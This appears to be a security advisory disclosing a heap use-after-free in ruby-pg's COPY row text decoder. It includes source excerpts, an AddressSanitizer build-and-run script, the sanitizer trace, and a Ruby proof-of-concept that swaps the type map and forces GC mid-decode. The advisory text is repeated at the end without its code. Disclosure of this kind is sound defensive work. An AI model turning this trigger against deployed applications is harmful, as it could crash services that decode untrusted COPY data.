Summary
PG::TextDecoder::CopyRow caches the decoder type map pointer before decoding fields. A Ruby decoder callback can replace copy_row.type_map and force GC, freeing the old type map while the C loop still uses its raw pointer.
Version
Software: ruby-pg
Version: 1.6.3
Commit: 59296b0
Details
The decoder takes a raw t_typemap * from this->typemap once before the field loop.
t_typemap *p_typemap;
p_typemap = RTYPEDDATA_DATA( this->typemap );
expected_fields = p_typemap->funcs.fit_to_copy_get( this->typemap );
ext/pg_copy_coder.c:533
Each non-null field calls back through that cached pointer. User-defined decoders run Ruby code and can mutate copy_row.type_map.
rb_str_set_len( field_str, output_ptr - RSTRING_PTR(field_str) );
field_value = p_typemap->funcs.typecast_copy_get( p_typemap, field_str, fieldno, 0, enc_idx );
ext/pg_copy_coder.c:697
After the callback replaces the type map and GC frees the old one, the next use of p_typemap is a use-after-free.
Reproduce
Create poc.rb from the inline artifact below, then run this on a machine with Docker:
mkdir -p dfvuln-798 && cp poc.rb dfvuln-798/ && cd dfvuln-798
docker run --rm -v "$PWD":/work -w /tmp ruby:3.3-bookworm bash -lc '
set -eux
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y git build-essential pkg-config libpq-dev gcc llvm
git clone --depth 1 https://github.com/ged/ruby-pg.git src
cd src
git rev-parse HEAD | tee /work/commit.txt
ruby -v | tee /work/ruby-version.txt
bundle config set path vendor/bundle
bundle install
cd ext && ruby extconf.rb && make clean
CC_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CC]]")
CFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CFLAGS]]")
DLDFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[DLDFLAGS]]")
make -j"$(nproc)" CFLAGS="$CFLAGS_RB -O0 -g -fsanitize=address -fno-omit-frame-pointer" DLDFLAGS="$DLDFLAGS_RB -fsanitize=address" LDSHARED="$CC_RB -shared -fsanitize=address"
cd /tmp/src && cp ext/pg_ext.so lib/pg_ext.so
ASAN_LIB=$(gcc -print-file-name=libasan.so)
set +e
LD_PRELOAD="$ASAN_LIB" ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1:fast_unwind_on_malloc=0 RUBYLIB=/tmp/src/lib ruby /work/poc.rb > /work/asan.log 2>&1
status=$?
cat /work/asan.log
exit "$status"
'
The reproduced sanitizer stack is included inline below:
==595==ERROR: AddressSanitizer: heap-use-after-free
READ of size 8
#0 0xffff9f973e9c in pg_text_dec_copy_row /tmp/src/ext/pg_copy_coder.c:698
#1 0xffff9f95d928 in pg_coder_decode /tmp/src/ext/pg_coder.c:260
freed by thread T0 here:
#0 0xffffa33ca5a0 in __interceptor_free
#1 0xffffa2e5dbdc in objspace_xfree /usr/src/ruby/gc.c:12832
SUMMARY: AddressSanitizer: heap-use-after-free /tmp/src/ext/pg_copy_coder.c:698 in pg_text_dec_copy_row
Inline reproduction artifact(s):
poc.rb
$stdout.sync = true
require 'pg'
require 'weakref'
class EvilDecoder < PG::SimpleDecoder
attr_accessor :copy, :new_tm, :old_tm_ref
def old_tm_alive?
old_tm_ref.__getobj__
true
rescue WeakRef::RefError
false
end
def decode(str, tuple = nil, field = nil)
puts "field0 start old_typemap_alive=#{old_tm_alive?}"
copy.type_map = new_tm
GC.start(full_mark: true, immediate_sweep: true)
puts "field0 after swap old_typemap_alive=#{old_tm_alive?}"
str
end
end
copy = PG::TextDecoder::CopyRow.new
evil = EvilDecoder.new
evil.copy = copy
evil.new_tm = PG::TypeMapByColumn.new([
PG::TextDecoder::String.new,
PG::TextDecoder::String.new,
])
old_tm = PG::TypeMapByColumn.new([
evil,
PG::TextDecoder::String.new,
])
evil.old_tm_ref = WeakRef.new(old_tm)
copy.type_map = old_tm
old_tm = nil
puts "pre_decode old_typemap_alive=#{evil.old_tm_alive?}"
copy.decode("a\tb\n")
Security Impact
This is a native use-after-free during COPY text decoding. It can crash applications that decode attacker-influenced COPY rows with mutable custom decoders.
Credit
Zheng Yu from depthfirst (depthfirst.com)
Summary
PG::TextDecoder::CopyRowcaches the decoder type map pointer before decoding fields. A Ruby decoder callback can replacecopy_row.type_mapand force GC, freeing the old type map while the C loop still uses its raw pointer.Version
Software: ruby-pg
Version: 1.6.3
Commit: 59296b0
Details
The decoder takes a raw
t_typemap *fromthis->typemaponce before the field loop.ext/pg_copy_coder.c:533Each non-null field calls back through that cached pointer. User-defined decoders run Ruby code and can mutate
copy_row.type_map.ext/pg_copy_coder.c:697After the callback replaces the type map and GC frees the old one, the next use of
p_typemapis a use-after-free.Reproduce
Create
poc.rbfrom the inline artifact below, then run this on a machine with Docker:The reproduced sanitizer stack is included inline below:
Inline reproduction artifact(s):
poc.rbSecurity Impact
This is a native use-after-free during COPY text decoding. It can crash applications that decode attacker-influenced COPY rows with mutable custom decoders.
Credit
Zheng Yu from depthfirst (depthfirst.com)